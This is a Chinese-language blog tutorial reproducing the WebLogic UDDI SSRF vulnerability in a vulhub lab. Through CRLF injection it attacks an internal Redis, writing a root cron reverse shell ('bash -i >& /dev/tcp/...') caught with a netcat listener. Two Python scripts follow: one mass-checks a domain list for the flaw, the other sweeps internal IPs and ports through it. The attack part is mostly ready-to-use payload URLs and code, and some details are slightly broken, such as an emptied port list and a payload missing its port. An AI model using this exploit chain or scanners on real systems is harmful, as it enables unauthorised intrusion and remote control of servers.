SSRF——weblogic vulhub 漏洞复现及攻击内网redis（一）（附批量检测脚本）

0X01 概述

SSRF（Server-Side Request Forgery, 服务端请求伪造）利用漏洞可以发起网络请求来攻击内网服务。
利用SSRF能实现以下效果:
1）        扫描内网（主机信息收集，Web应用指纹识别）
2）        根据所识别应用发送构造的Payload进行攻击
3）        Denial of service（请求大文件，始终保持连接Keep-Alive Always）

0X02 vulhub weblogic SSRF 漏洞复现

环境搭建

下载vulhub：git clone https://github.com/vulhub/vulhub.git

启动环境：docker-compose up -d

访问：http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

出现以下页面，说明测试环境ok。

漏洞复现

访问以下页面，确认是否存在SSRF漏洞。

http://192.168.220.142:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.220.144

其中，最后的operator参数为内网ip，若存在此报错： weblogic.uddi.client.structures.exception.XML_SoapException，说明存在SSRF漏洞。

漏洞利用

【利用1】  探测内网存活ip

【利用2】  探测端口

【利用3】  攻击redis（通过header CRLF 注入）

Weblogic的SSRF有一个比较大的特点，其虽然是一个“GET”请求，但是我们可以通过传入`%0a%0d`来注入换行符，而某些服务（如redis）是通过换行符来分隔每条命令，也就说我们可以通过该SSRF攻击内网中的redis服务器。

 

①查看docker redis的ip地址

docker ps

docker exec -it 7b12841eedbf ip addr

172.22.0.2是docker redis的内网地址

②利用SSRF漏洞探测内网redis是否开放

 

③准备好攻击代码

 

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.220.140/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

aaa

将上述攻击代码转换成URL编码：

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

 

④实施攻击

kali监听端口：nc -lvvp 2333 

浏览器访问：

http://192.168.220.142:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.22.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

反弹shell成功！

 

具体过程如下：

0X03 批量检测脚本

批量检测weblogic_SSRF漏洞

将域名保存在domain.txt文件中，运行脚本，自动进行批量检测。

代码如下：

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 功能：批量探测weblogic SSRF漏洞

import re
import sys
import Queue
import requests
import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()
mutex = threading.Lock()

class Weblogic_SSRF_Check(threading.Thread):
    """docstring for Weblogic_SSRF_Check"""
    def __init__(self, queue):
        threading.Thread.__init__(self)
        self.queue = queue

    def check(self,domain,ip):
        payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
        url = domain + payload

        try:
            html = requests.get(url=url, timeout=15, verify=False).content

            m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
            if m:
                mutex.acquire()
                with open('ssrf.txt','a+') as f:
                    print "%s has weblogic ssrf." % domain
                    f.write("%s has weblogic ssrf.\n" % domain)
                mutex.release()
        except Exception,e:
            pass

    def get_registry(self,domain):
        payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
        url = domain + payload

        try:
            html = requests.get(url=url, timeout=15, verify=False).content
            m = re.search('<i>For example: (.*?)/uddi/uddilistener.*?</i>',html)
            if m:
                return m.group(1)
        except Exception,e:
            pass

    def run(self):
        while not self.queue.empty():
            domain = self.queue.get()
            mutex.acquire()
            print domain
            mutex.release()
            ip = self.get_registry(domain)
            self.check(domain,ip)

            self.queue.task_done()

if __name__ == '__main__':
    with open('C:\\Users\\m\\domain.txt','r') as f:
        lines = f.readlines()
    for line in lines:
        queue.put(line.strip())

    for x in xrange(1,50):
        t = Weblogic_SSRF_Check(queue)
        t.setDaemon(True)
        t.start()
    queue.join()

通过weblogic_SSRF漏洞探测内网ip及端口

--url参数：存在weblogic SSRF漏洞的url

--ip参数：想扫描的内网网段

 

代码如下：

#!/usr/bin/env python
# coding: utf-8
# 功能：扫描内网开放ip及端口

import argparse
import thread
import time
import re
import requests

def ite_ip(ip):
    #for i in range(1, 256):
    for i in range(139, 146):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    #ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000')
    ports = ( '', '','','')
    for port in ports:
        vul_url = args.url + '/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip, port)
        try:
            r = requests.get(vul_url, timeout=15, verify=False)
            result0 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException', r.content)
            result1 = re.findall('route to host', r.content)
            result2 = re.findall('but could not connect', r.content)
            if len(result0) != 0 and len(result1) == 0 and len(result2) == 0:
                out = "port exist: " + final_ip + ':' + port
                print out
        except Exception, e:
            pass

def get_ip():
    vul_url = args.url + '/uddiexplorer/SetupUDDIExplorer.jsp'
    r = requests.get(vul_url, timeout=15, verify=False)
    reg = re.compile(r"For example: http://\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\ b")
    result1 = reg.findall(r.content)
    result = ""
    if result1:
        result = result1[0].replace("For example: http://","")
    return result

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Weblogic SSRF vulnerable exploit')
    parser.add_argument('--url', dest='url', required=True, help='Target url')
    parser.add_argument('--ip', dest='scan_ip', help='IP to scan')
    args = parser.parse_args()
    ip = '.'.join(args.scan_ip.split('.')[:-1])
    #print ip
    #ip = get_ip()
    if ip:
        ite_ip(ip)
    else:
        print "no ip"